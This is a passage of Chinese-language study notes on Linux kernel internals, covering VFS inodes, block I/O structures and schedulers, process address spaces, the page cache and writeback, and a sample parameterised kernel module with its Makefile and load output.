       struct inode *(*alloc_inode)(struct super_block *sb); /* 创建和初始化一个索引节点对象 */
    void (*destroy_inode)(struct inode *);                /* 释放给定的索引节点 */

    void (*dirty_inode) (struct inode *);                 /* VFS在索引节点被修改时会调用这个函数 */
    int (*write_inode) (struct inode *, int);             /* 将索引节点写入磁盘,wait表示写操作是否需要同步 */
    void (*drop_inode) (struct inode *);                  /* 最后一个指向索引节点的引用被删除后,VFS会调用这个函数 */
    void (*delete_inode) (struct inode *);                /* 从磁盘上删除指定的索引节点 */
    void (*put_super) (struct super_block *);             /* 卸载文件系统时由VFS调用,用来释放超级块 */
    void (*write_super) (struct super_block *);           /* 用给定的超级块更新磁盘上的超级块 */
    int (*sync_fs)(struct super_block *sb, int wait);     /* 使文件系统中的数据与磁盘上的数据同步 */
    int (*statfs) (struct dentry *, struct kstatfs *);    /* VFS调用该函数获取文件系统状态 */
    int (*remount_fs) (struct super_block *, int *, char *); /* 指定新的安装选项重新安装文件系统时,VFS会调用该函数 */
    void (*clear_inode) (struct inode *);                 /* VFS调用该函数释放索引节点,并清空包含相关数据的所有页面 */
    void (*umount_begin) (struct super_block *);          /* VFS调用该函数中断安装操作 */
};

超级块对象通过 alloc_super() 函数创建并初始化（从磁盘读取文件系统超级块，并将信息填充到内存中的超级块对象中）

索引节点

索引节点是 VFS 中的核心概念，它包含内核在操作文件或目录时需要的全部信息

一个索引节点代表文件系统中的一个文件（Linux 一切皆文件）
Linux 系统为每一个文件都分配了一个 inode 编号，这个编号中记录了文件相关的一些元信息，通过这些元信息可以用来唯一标识一个文件（操作系统上的 inode 并非无穷无尽，通常在你安装操作系统后，系统上的 inode 数量就已经确定了下来）
索引节点和超级块一样是实际存储在磁盘上的，当被应用程序访问到时才会在内存中创建

/* 索引节点结构中定义的字段非常多(这里只介绍一些重要的属性) */
struct inode {
    struct hlist_node    i_hash;     /* 散列表，用于快速查找inode */
    struct list_head    i_list;        /* 索引节点链表 */
    struct list_head    i_sb_list;  /* 超级块链表超级块  */
    struct list_head    i_dentry;   /* 目录项链表 */
    unsigned long        i_ino;      /* 节点号 */
    atomic_t        i_count;        /* 引用计数 */
    unsigned int        i_nlink;    /* 硬链接数 */
    uid_t            i_uid;          /* 使用者id */
    gid_t            i_gid;          /* 使用组id */
    struct timespec        i_atime;    /* 最后访问时间 */
    struct timespec        i_mtime;    /* 最后修改时间 */
    struct timespec        i_ctime;    /* 最后改变时间 */
    const struct inode_operations    *i_op;  /* 索引节点操作函数 */
    const struct file_operations    *i_fop;    /* 缺省的索引节点操作 */
    struct super_block    *i_sb;              /* 相关的超级块 */
    struct address_space    *i_mapping;     /* 相关的地址映射 */
    struct address_space    i_data;         /* 设备地址映射 */
    unsigned int        i_flags;            /* 文件系统标志 */
    void            *i_private;             /* fs 私有指针 */
};

/* 其中的i_op中定义了索引节点的操作方法(这里只介绍一些相对重要的函数) */
struct inode_operations {
    /* 为dentry对象创造一个新的索引节点 */
    int (*create) (struct inode *,struct dentry *,int, struct nameidata *);
    /* 在特定文件夹中寻找索引节点,该索引节点要对应于dentry中给出的文件名 */
    struct dentry * (*lookup) (struct inode *,struct dentry *, struct nameidata *);
    /* 创建硬链接 */
    int (*link) (struct dentry *,struct inode *,struct dentry *);
    /* 从一个符号链接查找它指向的索引节点 */
    void * (*follow_link) (struct dentry *, struct nameidata *);
    /* 在follow_link调用之后,该函数由VFS调用进行清除工作 */
    void (*put_link) (struct dentry *, struct nameidata *, void *);
    /* 该函数由VFS调用,用于修改文件的大小 */
    void (*truncate) (struct inode *);
};

接下来看看几种类型的索引节点：

磁盘索引节点：保存在硬盘中的索引节点
内存索引节点：保存在内存中的索引节点
文件节点：用于指向磁盘索引节点的节点（有助于硬链接的实现）

不管是文件还是目录，[磁盘索引节点] 都需要与 [内存索引节点] 进行“绑定”，这样才可以操控磁盘上的数据，文件被打开时，[磁盘索引节点] 被复制到 [内存索引节点]，以便于使用

块I/O层

I/O设备主要有2类：

字符设备：只能顺序读写设备中的内容（比如：串口设备，键盘）
块设备：能够随机读写设备中的内容（比如：硬盘，U盘）

字符设备由于只能顺序访问，因此应用场景也不多，块设备是随机访问的，所以块设备在不同的应用场景中存在很大的优化空间：

块设备的最小寻址单元就是扇区，扇区的大小是2的整数倍，一般是512字节
扇区是物理上的最小寻址单元，而逻辑上的最小寻址单元是块
为了便于文件系统管理，块的大小一般是扇区的整数倍，并且小于等于页的大小

➜  桌面  sudo fdisk -l
[sudo] yhellow 的密码： 
Disk /dev/loop0：4 KiB，4096 字节，8 个扇区
单元：扇区 / 1 * 512 = 512 字节
扇区大小(逻辑/物理)：512 字节 / 512 字节
I/O 大小(最小/最佳)：512 字节 / 512 字节

块是文件系统的一种抽象：

只能基于块来访问文件系统
磁盘的物理寻址是按照扇区进行的，但内核执行的所有磁盘操作都是按块进行的

内核访问块设备

内核通过文件系统访问块设备时，需要先把块读入到内存中，所以文件系统为了管理块设备，必须管理[块]和内存页之间的映射

内核中有2种方法来管理 [块] 和内存页之间的映射：

一，缓冲区和缓冲区头：

每个 [块] 都是一个缓冲区，同时对每个 [块] 都定义一个缓冲区头来描述它
由于 [块] 的大小是小于内存页的大小的，所以每个内存页会包含一个或者多个 [块]

struct buffer_head {
    unsigned long b_state;            /* 表示缓冲区状态 */
    struct buffer_head *b_this_page;  /* 当前页中缓冲区 */
    struct page *b_page;              /* 当前缓冲区所在内存页 */

    sector_t b_blocknr;       /* 起始块号 */
    size_t b_size;            /* buffer在内存中的大小 */
    char *b_data;             /* 块映射在内存页中的数据 */

    struct block_device *b_bdev;  	 /* 关联的块设备 */
    bh_end_io_t *b_end_io;       	 /* I/O完成方法 */
     void *b_private;            	 /* 保留的 I/O 完成方法 */
    struct list_head b_assoc_buffers;     /* 关联的其他缓冲区 */
    struct address_space *b_assoc_map;    /* 相关的地址空间 */
    atomic_t b_count;                     /* 引用计数 */
};

b_state：表示缓冲区的状态，合法的标志存放在 bh_state_bits

enum bh_state_bits {
	BH_Uptodate,	/* 包含可用数据 */
	BH_Dirty,	/* 脏的 */
	BH_Lock,	/* 正在被IO操作使用(被锁定) */
	BH_Req,		/* 有IO请求 */
	BH_Uptodate_Lock,/* Used by the first bh in a page, to serialise IO completion of other buffers in the page */

	BH_Mapped,	/* 映射磁盘块 */
	BH_New,		/* 刚刚通过get_block映射,尚且不能访问 */
	BH_Async_Read,	/* 通过end_buffer_async_read,被异步IO读操作使用 */
	BH_Async_Write,	/* 通过end_buffer_async_write,被异步IO写操作使用 */
	BH_Delay,		/* 尚未和磁盘块关联 */
	BH_Boundary,	/* 处于连续区的边界(下一个块不再连续) */
	BH_Write_EIO,	/* 在写时遇到IO错误 */
	BH_Unwritten,	/* 在磁盘上的空间已经被申请但是没有数据写入 */
	BH_Quiet,	/* 禁止错误 */
	BH_Meta,	/* Buffer contains metadata */
	BH_Prio,	/* Buffer should be submitted with REQ_PRIO */
	BH_Defer_Completion, /* Defer AIO completion to workqueue */

	BH_PrivateStart,	/* 不是可用状态位,其目的是为了表明起始位 */
};

b_count：表示缓冲区的使用计数

static inline void get_bh(struct buffer_head *bh) /* 增加引用计数 */
{
        atomic_inc(&bh->b_count);
}

static inline void put_bh(struct buffer_head *bh) /* 减少引用计数 */
{
        smp_mb__before_atomic();
        atomic_dec(&bh->b_count);
}

PS：在 2.6 版本的 Linux 内核中，许多 IO 操作都不依靠 buffer_head，而是直接对页面或地址空间进行操作来完成，并引入了一种更灵活且轻量级的容器 bio 结构体

二，bio 结构体：

/*
 * I/O操作的主要单元,针对I/O块和更低级的层(ie drivers and stacking drivers)
 */
struct bio {
    sector_t        bi_sector;   	    /* 磁盘上相关扇区 */
    struct bio        *bi_next;  	  	/* 请求列表 */
    struct block_device    *bi_bdev; 	/* 相关的块设备 */
    unsigned long        bi_flags;   	/* 状态和命令标志 */
    unsigned long        bi_rw;      	/* 读还是写 */

    unsigned short        bi_vcnt;    	/* bio_vecs的数目 */
    unsigned short        bi_idx;       /* bio_io_vect的当前索引 */

    /* 结合后的片段数目 */
    unsigned int        bi_phys_segments;

    unsigned int        bi_size;    	/* 剩余 I/O 计数 */

    /* 第一个和最后一个可合并的段的大小 */
    unsigned int        bi_seg_front_size;
    unsigned int        bi_seg_back_size;

    unsigned int        bi_max_vecs;    /* bio_vecs数目上限 */
    unsigned int        bi_comp_cpu;    /* 结束CPU */

    atomic_t        bi_cnt;        		/* 使用计数 */
    struct bio_vec        *bi_io_vec;   /* bio_vec 链表 */
    bio_end_io_t        *bi_end_io; 	/* I/O 完成方法 */
    void            *bi_private;    	/* bio结构体创建者的私有方法 */
#if defined(CONFIG_BLK_DEV_INTEGRITY)
    struct bio_integrity_payload *bi_integrity;  /* data integrity */
#endif
    bio_destructor_t    *bi_destructor;    /* bio撤销方法 */
    /* 内嵌在结构体末尾的bio向量,主要为了防止出现二次申请少量的bio_vecs */
    struct bio_vec        bi_inline_vecs[0];
};

bio 结构体：表示正在执行的 I/O 操作相关的信息
bi_io_vec 链表：表示当前 I/O 操作涉及到的内存页（每个 bio_vec 都是对应一个页面 page，从而保证内核能够方便高效的完成 I/O 操作）
bio_vec 结构体：表示 I/O 操作使用的片段

struct bio_vec {
	struct page	*bv_page;		/* 指向这个缓冲区所驻留的物理页 */
	unsigned int	bv_len;		/* 这个缓冲区以字节为单位的大小 */
	unsigned int	bv_offset;	/* 缓冲区所驻留的页中以字节为单位的偏移量 */
};

bi_vcnt：表示 bi_io_vec 链表中 bi_vec 的个数
bi_idx：表示当前的 bi_vec 片段的索引

请求队列

块设备将它们挂起的块 IO 请求保存在请求队列 request_queue 中

队列中的请求由结构体 request 表示，一个请求可以由多个 bio 结构体组成

内核I/O调度

内核 I/O 调度程序通过两种方式来减少磁盘寻址时间：合并与排序

常见的内核 I/O 调度策略如下：

Linus 电梯：
- 为了保证磁盘寻址的效率，一般会尽量让磁头向一个方向移动，等到头了再反过来移动，这样可以缩短所有请求的磁盘寻址总时间
- 磁头的移动有点类似于电梯，所以这个 I/O 调度算法也叫电梯调度
最终期限I/O调度：
- 最终期限I/O调度算法类似于 Linus 电梯，但是给每个请求设置了超时时间，默认情况下，读请求的超时时间500ms，写请求的超时时间是5s
预测I/O调度：
- 基于最终期限I/O调度算法，新的读请求提交后，并不立即进行请求处理，而是有意等待片刻(默认是6ms)
- 等待期间如果有其他对磁盘相邻位置进行读操作的读请求加入，会立刻处理这些读请求
- 等待期间如果没有其他读请求加入，那么等待时间相当于浪费掉
完全公正的排队I/O调度：
- 完全公正的排队（Complete Fair Queuing，CFQ）I/O调度，是为专有工作负荷设计的，它和之前提到的I/O调度有根本的不同
- CFQ I/O调度算法中，每个进程都有自己的I/O队列
- CFQ I/O调度程序以时间片轮转调度队列，从每个队列中选取一定的请求数（默认4个），然后进行下一轮调度
空操作的I/O调度：
- 空操作I/O调度几乎不做什么事情，这也是它这样命名的原因
- 空操作I/O调度只做一件事情，当有新的请求到来时，把它与任一相邻的请求合并

Linux 内核中内置了上面4种I/O调度，可以在启动时通过命令行选项 elevator=xxx 来启用任何一种

elevator 选项参数如下:

参数	I/O调度程序
as	预测
cfq	完全公正排队
deadline	最终期限
noop	空操作

进程地址空间

地址空间

进程地址空间也就是每个进程所使用的内存（就是每个进程所能访问的虚拟内存地址范围），内核对进程地址空间的管理，也就是对用户态程序的内存管理

现代的操作系统中进程都是在保护模式下运行的，地址空间其实是操作系统给进程用的一段连续的虚拟内存空间
地址空间最终会通过页表映射到物理内存上，因为内核操作的是物理内存

虽然地址空间的范围很大，但是进程也不一定有权限访问全部的地址空间（一般都是只能访问地址空间中的一些地址区间），进程能够访问的那些地址区间也称为 [内存区域]，进程如果访问了有效内存区域以外的内容就会报 “段错误” 信息

[内存区域]：进程能够访问的那些 [地址区间]

内存区域中主要包含以下信息：

代码段 (text section)，即可执行文件代码的内存映射
数据段 (data section)，即可执行文件的已初始化全局变量的内存映射
bss 段的零页 (页面信息全是“0”值)，即未初始化全局变量的内存映射
进程用户空间栈的零页内存映射
进程使用的C库或者动态链接库等共享库的代码段，数据段和bss段的内存映射
任何内存映射文件
任何共享内存段
任何匿名内存映射，比如由 malloc() 分配的内存

linux 中的地址空间是用 mm_struct 来表示的：

struct mm_struct {
    struct vm_area_struct * mmap;        /* [内存区域]单链表组织 */
    struct rb_root mm_rb;                /* [内存区域]红黑树组织 */
    struct vm_area_struct * mmap_cache;  /* 最近一次访问的[内存区域] */
    unsigned long (*get_unmapped_area) (struct file *filp,
                unsigned long addr, unsigned long len,
                unsigned long pgoff, unsigned long flags);  /* 获取指定区间内一个还未映射的地址，出错时返回错误码 */
    void (*unmap_area) (struct mm_struct *mm, unsigned long addr);  /* 取消地址 addr 的映射 */
    unsigned long mmap_base;        /* 地址空间中可以用来映射的首地址 */
    unsigned long task_size;        /* 进程的虚拟地址空间大小 */
    unsigned long cached_hole_size;     /* 如果不空的话，就是 free_area_cache 后最大的空洞 */
    unsigned long free_area_cache;      /* 地址空间的第一个空洞 */
    pgd_t * pgd;                        /* 页全局目录 */
    atomic_t mm_users;            /* 使用地址空间的用户数 */
    atomic_t mm_count;            /* 实际使用地址空间的计数， (users count as 1) */
    int map_count;                /* [内存区域]个数 */
    struct rw_semaphore mmap_sem;   	/* 内存区域信号量 */
    spinlock_t page_table_lock;         /* 页表锁 */

    struct list_head mmlist;       		/* 所有地址空间形成的链表 */

    /* Special counters, in some configurations protected by the
     * page_table_lock, in other configurations by being atomic.
     */
    mm_counter_t _file_rss;
    mm_counter_t _anon_rss;

    unsigned long hiwater_rss;   	 /* High-watermark of RSS usage */
    unsigned long hiwater_vm;   	 /* High-water virtual memory usage */

    unsigned long total_vm, locked_vm, shared_vm, exec_vm;
    unsigned long stack_vm, reserved_vm, def_flags, nr_ptes;
    unsigned long start_code, end_code, start_data, end_data; /* 代码段,数据段的开始和结束地址 */
    unsigned long start_brk, brk, start_stack; /* 堆的首地址,尾地址,进程栈首地址 */
    unsigned long arg_start, arg_end, env_start, env_end; /* 命令行参数,环境变量首地址,尾地址 */

    unsigned long saved_auxv[AT_VECTOR_SIZE]; /* for /proc/PID/auxv */

    struct linux_binfmt *binfmt;

    cpumask_t cpu_vm_mask;

    /* Architecture-specific MM context */
    mm_context_t context;

    /* Swap token stuff */
    /*
     * Last value of global fault stamp as seen by this process.
     * In other words, this value gives an indication of how long
     * it has been since this task got the token.
     * Look at mm/thrash.c
     */
    unsigned int faultstamp;
    unsigned int token_priority;
    unsigned int last_interval;

    unsigned long flags; /* Must use atomic bitops to access the bits */

    struct core_state *core_state; /* coredumping support */
#ifdef CONFIG_AIO
    spinlock_t        ioctx_lock;
    struct hlist_head    ioctx_list;
#endif
#ifdef CONFIG_MM_OWNER
    /*
     * "owner" points to a task that is regarded as the canonical
     * user/owner of this mm. All of the following must be true in
     * order for it to be changed:
     *
     * current == mm->owner
     * current->mm != mm
     * new_owner->mm == mm
     * new_owner->alloc_lock is held
     */
    struct task_struct *owner;
#endif

#ifdef CONFIG_PROC_FS
    /* store ref to file /proc/<pid>/exe symlink points to */
    struct file *exe_file;
    unsigned long num_exe_file_vmas;
#endif
#ifdef CONFIG_MMU_NOTIFIER
    struct mmu_notifier_mm *mmu_notifier_mm;
#endif
};

mm_users：就是 mm_struct 被用户空间进程(线程)引用的次数
mm_count：其实它记录就是 mm_struct 实际的引用计数
- 当 mm_users=0 时，并不一定能释放此 mm_struct，只有当 mm_count=0 时，才可以确定释放此 mm_struct
- 如果只有1个进程使用 mm_struct，那么 mm_users=1，mm_count也是 1
- 如果有9个线程在使用 mm_struct，那么 mm_users=9，而 mm_count 仍然为 1

虚拟内存区域(VMA)

[内存区域]（进程能够访问的那些 [地址区间]）在 linux 中也被称为 [虚拟内存区域]（VMA），它其实就是进程地址空间上一段连续的内存范围

结构体如下：

struct vm_area_struct {
    struct mm_struct * vm_mm;    /* 相关的 mm_struct 结构体 */
    unsigned long vm_start;      /* 内存区域首地址 */
    unsigned long vm_end;        /* 内存区域尾地址 */

    /* linked list of VM areas per task, sorted by address */
    struct vm_area_struct *vm_next, *vm_prev;  /* VMA链表 */

    pgprot_t vm_page_prot;        /* 访问控制权限 */
    unsigned long vm_flags;       /* 标志 */

    struct rb_node vm_rb;         /* 树上的VMA节点 */

    /*
     * For areas with an address space and backing store,
     * linkage into the address_space->i_mmap prio tree, or
     * linkage to the list of like vmas hanging off its node, or
     * linkage of vma in the address_space->i_mmap_nonlinear list.
     */
    union {
        struct {
            struct list_head list;
            void *parent;    /* aligns with prio_tree_node parent */
            struct vm_area_struct *head;
        } vm_set;

        struct raw_prio_tree_node prio_tree_node;
    } shared;

    /*
     * A file's MAP_PRIVATE vma can be in both i_mmap tree and anon_vma
     * list, after a COW of one of the file pages.    A MAP_SHARED vma
     * can only be in the i_mmap tree.  An anonymous MAP_PRIVATE, stack
     * or brk vma (with NULL file) can only be in an anon_vma list.
     */
    struct list_head anon_vma_node;    /* 匿名vma对象链表 */
    struct anon_vma *anon_vma;    	   /* 匿名vma对象 */

    /* Function pointers to deal with this struct. */
    const struct vm_operations_struct *vm_ops;	/* 相关的操作表 */

    /* Information about our backing store: */
    unsigned long vm_pgoff;       		/* Offset (within vm_file) in PAGE_SIZE
                       units, *not* PAGE_CACHE_SIZE */
    struct file * vm_file;        		/* File we map to (can be NULL). */
    void * vm_private_data;       		/* was vm_pte (shared mem) */
    unsigned long vm_truncate_count;	/* truncate_count or restart_addr */

#ifndef CONFIG_MMU
    struct vm_region *vm_region;    	/* NOMMU mapping region */
#endif
#ifdef CONFIG_NUMA
    struct mempolicy *vm_policy;    	/* NUMA policy for the VMA */
#endif
};

虚拟内存区域（VMA）对应的操作表如下：

struct vm_operations_struct {
	void (*open)(struct vm_area_struct * area); /* 把指定vma与一个地址空间绑定 */
	void (*close)(struct vm_area_struct * area); /* 把指定vma的地址空间删除 */
	int (*split)(struct vm_area_struct * area, unsigned long addr);
	int (*mremap)(struct vm_area_struct * area);
	vm_fault_t (*fault)(struct vm_fault *vmf); 
	vm_fault_t (*huge_fault)(struct vm_fault *vmf,
			enum page_entry_size pe_size);
	void (*map_pages)(struct vm_fault *vmf,
			pgoff_t start_pgoff, pgoff_t end_pgoff);
	unsigned long (*pagesize)(struct vm_area_struct * area);

	/* notification that a previously read-only page is about to become
	 * writable, if an error is returned it will cause a SIGBUS */
	vm_fault_t (*page_mkwrite)(struct vm_fault *vmf);

	/* same as page_mkwrite when using VM_PFNMAP|VM_MIXEDMAP */
	vm_fault_t (*pfn_mkwrite)(struct vm_fault *vmf);

	/* called by access_process_vm when get_user_pages() fails, typically
	 * for use by special VMAs that can switch between memory and hardware
	 */
	int (*access)(struct vm_area_struct *vma, unsigned long addr,
		      void *buf, int len, int write);

	/* Called by the /proc/PID/maps code to ask the vma whether it
	 * has a special name.  Returning non-NULL will also cause this
	 * vma to be dumped unconditionally. */
	const char *(*name)(struct vm_area_struct *vma);

#ifdef CONFIG_NUMA
	/*
	 * set_policy() op must add a reference to any non-NULL @new mempolicy
	 * to hold the policy upon return.  Caller should pass NULL @new to
	 * remove a policy and fall back to surrounding context--i.e. do not
	 * install a MPOL_DEFAULT policy, nor the task or system default
	 * mempolicy.
	 */
	int (*set_policy)(struct vm_area_struct *vma, struct mempolicy *new);

	/*
	 * get_policy() op must add reference [mpol_get()] to any policy at
	 * (vma,addr) marked as MPOL_SHARED.  The shared policy infrastructure
	 * in mm/mempolicy.c will do this automatically.
	 * get_policy() must NOT add a ref if the policy at (vma,addr) is not
	 * marked as MPOL_SHARED. vma policies are protected by the mmap_sem.
	 * If no [shared/vma] mempolicy exists at the addr, get_policy() op
	 * must return NULL--i.e., do not "fallback" to task or system default
	 * policy.
	 */
	struct mempolicy *(*get_policy)(struct vm_area_struct *vma,
					unsigned long addr);
#endif
	/*
	 * Called by vm_normal_page() for special PTEs to find the
	 * page for @addr.  This is useful if the default behavior
	 * (using pte_page()) would not find the correct page.
	 */
	struct page *(*find_special_page)(struct vm_area_struct *vma,
					  unsigned long addr);
};

地址空间和页表

地址空间中的地址都是虚拟内存中的地址，而CPU需要操作的是物理内存（内核操作的也是物理内存），所以需要一个将虚拟地址映射到物理地址的机制

这个机制就是页表，linux 中使用3级页面来完成虚拟地址到物理地址的转换

PGD - 全局页目录，包含一个 pgd_t 类型数组，多数体系结构中 pgd_t 类型就是一个无符号长整型
PMD - 中间页目录，它是个 pmd_t 类型数组
PTE - 简称页表，包含一个 pte_t 类型的页表项，该页表项指向物理页面

翻译后缓存器-translate lookaside buffer-TLB

搜索物理地址的速度很有限，因此为了加快搜索，TLB 机制诞生了

TLB 其实就是一块高速缓存
当请求访问一个虚拟地址时，处理器会先检查 TLB 中是否缓存了该虚拟地址到物理地址的映射

页高速缓存&页回写

为了提高 I/O 性能，也引入了缓存机制，即将一部分磁盘上的数据缓存到内存中

之所以通过缓存能提高 I/O 性能是基于以下2个重要的原理：

CPU访问内存的速度远远大于访问磁盘的速度（访问速度差距不是一般的大，差好几个数量级）
数据一旦被访问，就有可能在短期内再次被访问（临时局部原理）

页高速缓存

页缓存和硬件 cache 的原理基本相同，将容量大而低速设备中的部分数据存放到容量小而快速的设备中，这样速度快的设备将作为低速设备的缓存，当访问低速设备中的数据时，可以直接从缓存中获取数据而不需再访问低速设备，从而节省了整体的访问时间

页高速缓存缓存的是具体的物理页面，与前面章节中提到的虚拟内存空间 vm_area_struct 不同
假设有进程创建了多个 vm_area_struct 都指向同一个文件，那么这个 vm_area_struct 对应的页高速缓存只有一份
也就是磁盘上的文件缓存到内存后，它的虚拟内存地址可以有多个，但是物理内存地址却只能有一个

为了有效提高 I/O 性能，页高速缓存要需要满足以下条件：

能够快速检索需要的内存页是否存在
能够快速定位脏页面（也就是被写过，但还没有同步到磁盘上的数据）
页高速缓存被并发访问时，尽量减少并发锁带来的性能损失

实现页高速缓存的最重要的结构体要算是 address_space：

struct address_space {
    struct inode        *host;        		/* 拥有此address_space的inode对象 */
    struct radix_tree_root    page_tree;    /* 包含全部页面的radix树 */
    spinlock_t        tree_lock;   		    /* 保护radix树的自旋锁 */
    unsigned int        i_mmap_writable;	/* VM_SHARED计数 */
    struct prio_tree_root    i_mmap;        /* 私有映射链表的树 */
    struct list_head    i_mmap_nonlinear;	/* VM_NONLINEAR链表 */
    spinlock_t        i_mmap_lock;   	    /* 保护i_map的自旋锁 */
    unsigned int        truncate_count;     /* 截断计数 */
    unsigned long        nrpages;    		/* 总页数 */
    pgoff_t            writeback_index;		/* 回写的起始偏移 */
    const struct address_space_operations *a_ops;    /* address_space的操作表 */
    unsigned long        flags;        				/* gfp_mask掩码与错误标识 */
    struct backing_dev_info *backing_dev_info; 		 /* 预读信息 */
    spinlock_t        private_lock;   		 /* 私有address_space自旋锁 */
    struct list_head    private_list;   	 /* 私有address_space链表 */
    struct address_space    *assoc_mapping;  /* 缓冲 */
    struct mutex        unmap_mutex;    	 /* 保护未映射页的mutux锁 */
} __attribute__((aligned(sizeof(long))));

这里的 Radix 树（基数树）就是页高速缓存的底层算法

页回写

由于页高速缓存的作用，写操作实际上会被延迟，当页高速缓存中的数据更新，但是后台存储的数据还没有更新时，该数据就被称为脏数据

在内存中累积起来的脏页最终必须被写回磁盘
而写回磁盘的操作就被称为页回写

Linux 页高速缓存页中的回写是由内核中的 flusher 线程来完成的，flusher 线程在以下3种情况发生时，触发回写操作：

一，当空闲内存低于一个阀值时：
- 空闲内存不足时，需要释放一部分缓存
- 由于只有不脏的页面才能被释放，所以要把脏页面都回写到磁盘，使其变成干净的页面
二，当脏页在内存中驻留时间超过一个阀值时：
- 确保脏页面不会无限期的驻留在内存中，从而减少了数据丢失的风险
三，当用户进程调用 sync() 和 fsync() 系统调用时：
- 给用户提供一种强制回写的方法，应对回写要求严格的场景

但页回写的条件满足时，内核便会调用 wakeup_flusher_threads 来唤醒一个或者多个 flusher 线程，然后 flusher 线程会将脏页写回磁盘

设备&模块

设备类型

Linux 中主要由3种类型的设备，分别是：

设备类型	代表设备	特点	访问方式
块设备	硬盘，光盘	随机访问设备中的内容	一般都是把设备挂载为文件系统后再访问
字符设备	键盘，打印机	只能顺序访问（一个一个字符或者一个一个字节）	一般不挂载，直接和设备交互
网络设备	网卡	打破了Unix “所有东西都是文件” 的设计原则	通过套接字API来访问

除了以上3种典型的设备之外，其实Linux中还有一些其他的设备类型，其中见的较多的应该算是”伪设备”
所谓”伪设备”，其实就是一些虚拟的设备，仅提供访问内核功能而已，没有物理设备与之关联
典型的”伪设备”就是 /dev/random(内核随机数发生器)， /dev/null(空设备)， /dev/zero(零设备)， /dev/full(满设备)

设备结构体

用于描述一个字符设备：

struct cdev {
	struct kobject kobj;
	struct module *owner;
	const struct file_operations *ops;
	struct list_head list;
	dev_t dev;
	unsigned int count;
} __randomize_layout;

对于不同的文件系统，file_operations 的内容不同
内核对象 kobj 用于统一设备模型

内核模块

Linux 内核是模块化组成的，内核中的模块可以按需加载，从而保证内核启动时不用加载所有的模块，即减少了内核的大小，也提高了效率

通过编写内核模块来给内核增加功能或者接口是个很好的方式（既不用重新编译内核，也方便调试和删除）

带参数的内核模块的示例：（我在网上抄了个示例，打 kernel pwn 的时候可能会用到）

#include<linux/init.h>
#include<linux/module.h>
#include<linux/kernel.h>

MODULE_LICENSE("Dual BSD/GPL");

struct student
{
    int id;
    char* name;
};
static void print_student(struct student*);

static int stu_id = 0;  // 默认id
module_param(stu_id, int, 0644);
MODULE_PARM_DESC(stu_id, "学生ID，默认为 0");

static char* stu_name_in = "default name"; // 默认名字
module_param_named(stu_name_out, stu_name_in ,charp, 0644);
MODULE_PARM_DESC(stu_name, "学生姓名，默认为 default name");

#define MAX_ARR_LEN 5
static int arr_len;
static int arr_in[MAX_ARR_LEN];
module_param_array_named(arr_out, arr_in, int, &arr_len, 0644);
MODULE_PARM_DESC(arr_in, "数组参数，默认为空");

static int test_paramed_km_init(void)
{
    struct student* stu1;
    int i;
    
    /* 进入内核模块 */
    printk(KERN_ALERT "*************************\n");
    printk(KERN_ALERT "test_paramed_km is inited!\n");
    printk(KERN_ALERT "*************************\n");
    // 根据参数生成 struct student 信息
    // 如果没有参数就用默认参数
    printk(KERN_ALERT "alloc one student....\n");
    stu1 = kmalloc(sizeof(*stu1), GFP_KERNEL);
    stu1->id = stu_id;
    stu1->name = stu_name_in;
    print_student(stu1);

    // 模块数组
    for (i = 0; i < arr_len; ++i) {
        printk(KERN_ALERT "arr_value[%d]: %d\n", i, arr_in[i]);
    }
    return 0;
}

static void test_paramed_km_exit(void)
{
    /* 退出内核模块 */
    printk(KERN_ALERT "*************************\n");
    printk(KERN_ALERT "test_paramed_km is exited!\n");
    printk(KERN_ALERT "*************************\n");
    printk(KERN_ALERT "\n\n\n\n\n");
}

static void print_student(struct student *stu)
{
    if (stu != NULL)
    {
        printk(KERN_ALERT "**********student info***********\n");
        printk(KERN_ALERT "student id   is: %d\n", stu->id);
        printk(KERN_ALERT "student name is: %s\n", stu->name);
        printk(KERN_ALERT "*********************************\n");
    }
    else
        printk(KERN_ALERT "the student info is null!!\n");    
}

module_init(test_paramed_km_init);
module_exit(test_paramed_km_exit);

上面的示例对应的 Makefile 如下：

# must complile on customize kernel
obj-m += paramed_km.o
paramed_km-objs := test_paramed_km.o

#generate the path
CURRENT_PATH:=$(shell pwd)
#the current kernel version number
LINUX_KERNEL:=$(shell uname -r)
#the absolute path
LINUX_KERNEL_PATH:=/usr/src/kernels/$(LINUX_KERNEL)
#complie object
all:
    make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modules
    rm -rf modules.order Module.symvers .*.cmd *.o *.mod.c .tmp_versions *.unsigned
#clean
clean:
    rm -rf modules.order Module.symvers .*.cmd *.o *.mod.c *.ko .tmp_versions *.unsigned

内核模块运行方法：

[root@vbox chap17]# ll   <-- 编译内核后,多了paramed_km.ko文件
total 124
-rw-r--r-- 1 root root    538 Dec  1 19:37 Makefile
-rw-r--r-- 1 root root 118352 Dec  1 19:37 paramed_km.ko
-rw-r--r-- 1 root root   2155 Dec  1 19:37 test_paramed_km.c

<-- 通过 modinfo 命令可以查看对内核模块参数的注释
[root@vbox chap17]# modinfo  paramed_km.ko
filename:       paramed_km.ko
license:        Dual BSD/GPL
srcversion:     C52F97687B033738742800D
depends:
vermagic:       2.6.32-279.el6.x86_64 SMP mod_unload modversions
parm:           stu_id:学生ID，默认为 0 (int)
parm:           stu_name_out:charp
parm:           stu_name_in:学生姓名，默认为 default name
parm:           arr_out:array of int
parm:           arr_in:数组参数，默认为空

<-- 3 个参数都是默认的
[root@vbox chap17]# insmod paramed_km.ko
[root@vbox chap17]# rmmod paramed_km.ko
[root@vbox chap17]# dmesg | tail -16  <-- 结果中显示2个默认参数,第3个数组参数默认为空,所以不显示
*************************
test_paramed_km is inited!
*************************
alloc one student....
**********student info***********
student id   is: 0
student name is: default name
*********************************
*************************
test_paramed_km is exited!
*************************

<-- 3 个参数都被设置
[root@vbox chap17]# insmod paramed_km.ko stu_id=100 stu_name_out=myname arr_out=1,2,3,4,5
[root@vbox chap17]# rmmod paramed_km.ko
[root@vbox chap17]# dmesg | tail -21
*************************
test_paramed_km is inited!
*************************
alloc one student....
**********student info***********
student id   is: 100
student name is: myname
*********************************
arr_value[0]: 1
arr_value[1]: 2
arr_value[2]: 3
arr_value[3]: 4
arr_value[4]: 5
*************************
test_paramed_km is exited!
*************************

内核对象

Linux-2.6-kernel 中增加了一个引人注目的新特性：统一设备模型(device model)

统一设备模型的最初动机是为了实现智能的电源管理，linux 内核为了实现智能电源管理，需要建立表示系统中所有设备拓扑关系的树结构
这样在关闭电源时，可以从树的节点开始关闭

实现了统一设备模型之后，还给内核带来了如下的好处:

代码重复最小化（统一处理的东西多了）
